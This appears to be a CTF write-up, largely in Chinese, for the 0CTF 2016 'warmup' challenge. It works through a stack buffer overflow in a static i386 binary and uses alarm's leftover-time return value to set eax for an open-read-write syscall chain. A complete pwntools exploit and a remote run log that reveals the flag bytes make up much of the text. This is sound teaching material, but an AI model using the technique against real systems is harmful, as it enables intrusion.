WriteUp: 0CTF 2016 warmup
0x0 Checksec
1 2 3 4 5
| Arch: i386-32-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
|
0x1 Reverse Enginnering
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| .text:0804815A ; =============== S U B R O U T I N E ======================================= .text:0804815A .text:0804815A .text:0804815A stackoverflow proc near ; CODE XREF: start+2B↑p .text:0804815A .text:0804815A fd = dword ptr -30h .text:0804815A addr = dword ptr -2Ch .text:0804815A len = dword ptr -28h .text:0804815A var_20 = byte ptr -20h .text:0804815A .text:0804815A sub esp, 30h .text:0804815D mov [esp+30h+fd], 0 ; fd .text:08048164 lea eax, [esp+30h+var_20] .text:08048168 mov [esp+30h+addr], eax ; addr .text:0804816C mov [esp+30h+len], 34h ; len .text:08048174 call read .text:08048179 mov [esp+30h+fd], 1 ; fd .text:08048180 mov [esp+30h+addr], offset aGoodLuck ; "Good Luck!\n" .text:08048188 mov [esp+30h+len], 0Bh ; len .text:08048190 call write .text:08048195 mov eax, 0DEADBEAFh .text:0804819A mov ecx, 0DEADBEAFh .text:0804819F mov edx, 0DEADBEAFh .text:080481A4 mov ebx, 0DEADBEAFh .text:080481A9 mov esi, 0DEADBEAFh .text:080481AE mov edi, 0DEADBEAFh .text:080481B3 mov ebp, 0DEADBEAFh .text:080481B8 add esp, 30h .text:080481BB retn .text:080481BB stackoverflow endp
|
漏洞点在于:frame stack
大小为0x30
; read
写入的变量为var_20
,其内存位置为:[esp+30h+var_20]
即[esp + 0x30 - 0x20]
,因此var_20
变量若写入内容超过0x20
, 则会发生stack overflow
. 在该函数中,读取的len
为0x34
,明显超过0x20
,即发生stack overflow
,覆盖ret address
,污染控制流.
0x2 Analyze
该题目的stack overflow
很容发现,利用也毫无难点。但该函数为静态编译
,且其中用int 0x80
的方式调用system call
。由于该文件体简单且小,又无libc.so
等库,因此无法找出有效可用的rop chain
.
该题目中使用了int 0x80
的方式进行read
和write
, 且有良好布局system call
调用的代码片段,如下:
(.text:0804812
2 -> .text:08048134
)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| .text:0804811D read proc near ; CODE XREF: stackoverflow+1A↓p .text:0804811D .text:0804811D fd = dword ptr 4 .text:0804811D addr = dword ptr 8 .text:0804811D len = dword ptr 0Ch .text:0804811D .text:0804811D mov eax, 3 .text:08048122 mov ebx, [esp+fd] ; fd .text:08048126 mov ecx, [esp+addr] ; addr .text:0804812A mov edx, [esp+len] ; len .text:0804812E int 80h ; LINUX - sys_read .text:08048130 test eax, eax .text:08048132 js short sub_804814D .text:08048134 retn .text:08048134 read endp .text:08048134
|
若能控制eax
的值,则能达到调用任意system_call
函数的目的。
因此两种思路:
- 使用
system
函数设置eax = 0xb
, 调用 execve("/bin/sh")
- 使用
open-read-write
链open("flag", 0); //eax = 5
read(3, buffer, len); //eax = 3
write(1, buffer, len); // eax = 4
其中read
,write
在二进制中都有完整的函数可用,不必自己重新构造。
控制eax
的思路为使用alarm
函数。
第一次调用alarm
时,设定发送SIGALRM
信号的时间;第二次调用alarm
时,将会把前一次alarm
***剩余的***时间返回。
注意是剩余的
时间而非流失的
时间。
但由于在该题目中,首次调用alarm
设定的时间为10
秒,小于system('/bin/sh')
所需要的0xb
,因此只能采用open-read-write
链。
0x3 Exploit Code
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120
| from pwn import * from pwnlib.util import misc import os
elf = context.binary = ELF("warmup") libc = elf.libc
context.terminal = ["tmux", "split", "-h"] context.log_level = 'debug'
gs = ''' continue ''' def start(): if args.GDB: p = process(elf.path) cmd = ["gdb", "-p", str(p.pid)] cmd = context.terminal + cmd cmd = ' '.join(cmd) os.system(cmd) time.sleep(1) return p elif args.REMOTE: return remote('node4.buuoj.cn', 25353) else: return process(elf.path)
io = start() io.timeout = 30 tic = time.time()
io.recvuntil(b'Welcome to 0CTF 2016!\n')
alarm = 0x804810D read = 0x804811D write = 0x08048135 stackoverlow = 0x804815A
mov_esp_bcd_int = 0x8048122 """ 设置eax后,ebx,ecx,edx都从栈上读出,即可调用system_call .text:08048122 mov ebx, [esp+4] .text:08048126 mov ecx, [esp+8] .text:0804812A mov edx, [esp+12] .text:0804812E int 80h """
buffer = 0x8049600
payload = b'A'*0x20 payload += p32(read) payload += p32(stackoverlow) payload += p32(0) payload += p32(buffer) payload += p32(6) io.send(payload) if args.GDB: ctn = io.recvuntil(b"Good Luck!\n") else: ctn = io.recvline() io.send(b"flag\0")
toc = time.time()
log.info("alarm time: {}".format(toc-tic)) time.sleep(5 - (toc - tic)) payload = b'A'*0x20 payload += p32(alarm) payload += p32(mov_esp_bcd_int) payload += p32(stackoverlow) payload += p32(buffer) payload += p32(0)
io.send(payload) if args.GDB: ctn = io.recvuntil(b"Good Luck!\n") else: ctn = io.recvline()
payload = b'A'*0x20 payload += p32(read) payload += p32(stackoverlow) payload += p32(3) payload += p32(buffer) payload += p32(0x100) io.send(payload) if args.GDB: ctn = io.recvuntil(b"Good Luck!\n") else: ctn = io.recvline()
payload = b'A'*0x20 payload += p32(write) payload += p32(stackoverlow) payload += p32(1) payload += p32(buffer) payload += p32(0x100) io.send(payload) if args.GDB: ctn = io.recvuntil(b"Good Luck!\n") else: ctn = io.recvline()
flag = io.recv() log.info(f"flag: {flag}")
io.close()
|
0x4 Output Example
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
| ╰─$ python exp.py REMOTE
[*] 'warmup/warmup' Arch: i386-32-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) [+] Opening connection to node4.buuoj.cn on port 25353: Done [DEBUG] Received 0x16 bytes: b'Welcome to 0CTF 2016!\n' [DEBUG] Sent 0x34 bytes: 00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│ * 00000020 1d 81 04 08 5a 81 04 08 00 00 00 00 00 96 04 08 │····│Z···│····│····│ 00000030 06 00 00 00 │····│ 00000034 [DEBUG] Received 0xb bytes: b'Good Luck!\n' [DEBUG] Sent 0x5 bytes: 00000000 66 6c 61 67 00 │flag│·│ 00000005 [*] alarm time: 0.08231258392333984 [DEBUG] Sent 0x34 bytes: 00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│ * 00000020 0d 81 04 08 22 81 04 08 5a 81 04 08 00 96 04 08 │····│"···│Z···│····│ 00000030 00 00 00 00 │····│ 00000034 [DEBUG] Received 0xb bytes: b'Good Luck!\n' [DEBUG] Sent 0x34 bytes: 00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│ * 00000020 1d 81 04 08 5a 81 04 08 03 00 00 00 00 96 04 08 │····│Z···│····│····│ 00000030 00 01 00 00 │····│ 00000034 [DEBUG] Received 0xb bytes: b'Good Luck!\n' [DEBUG] Sent 0x34 bytes: 00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│ * 00000020 35 81 04 08 5a 81 04 08 01 00 00 00 00 96 04 08 │5···│Z···│····│····│ 00000030 00 01 00 00 │····│ 00000034 [DEBUG] Received 0xb bytes: b'Good Luck!\n' [DEBUG] Received 0x100 bytes: 00000000 66 6c 61 67 7b 31 38 31 31 61 64 61 65 2d 38 35 │flag│{181│1ada│e-85│ 00000010 31 38 2d 34 38 31 36 2d 61 66 66 32 2d 30 31 65 │18-4│816-│aff2│-01e│ 00000020 65 65 62 32 64 63 62 33 38 7d 0a 00 00 00 00 00 │eeb2│dcb3│8}··│····│ 00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ * 00000100 [*] flag: b'flag{▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇}\n\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' [*] Closed connection to node4.buuoj.cn port 25353
|
0x5 The Challenge
https://buuoj.cn/challenges#warmup